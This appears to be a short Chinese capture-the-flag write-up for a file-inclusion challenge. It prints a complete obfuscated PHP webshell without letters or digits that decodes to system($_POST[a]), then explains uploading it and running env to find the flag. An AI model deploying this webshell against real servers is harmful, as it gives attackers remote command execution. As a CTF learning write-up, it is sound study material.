通过所给出的源码我们可以发现这是一个文件包含漏洞
分析源码:这里会将文件从第六位开始之后的内容都赋值给data,然后会对data进行判断
通过测试后发现如果想要通过判断就需要构造一个无字母数字的webshell
<?= //PHP中的另外一个短标签<?=,代替<?php
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[~瞎[$__]]); //system($_POST[a]);
拼装后的payload
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[~瞎[$__]]);
上传php文件根据提示路径进入页面后并没有发现flag,这里需要执行eva命令
env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。
参考文章:
Sn0w师傅wp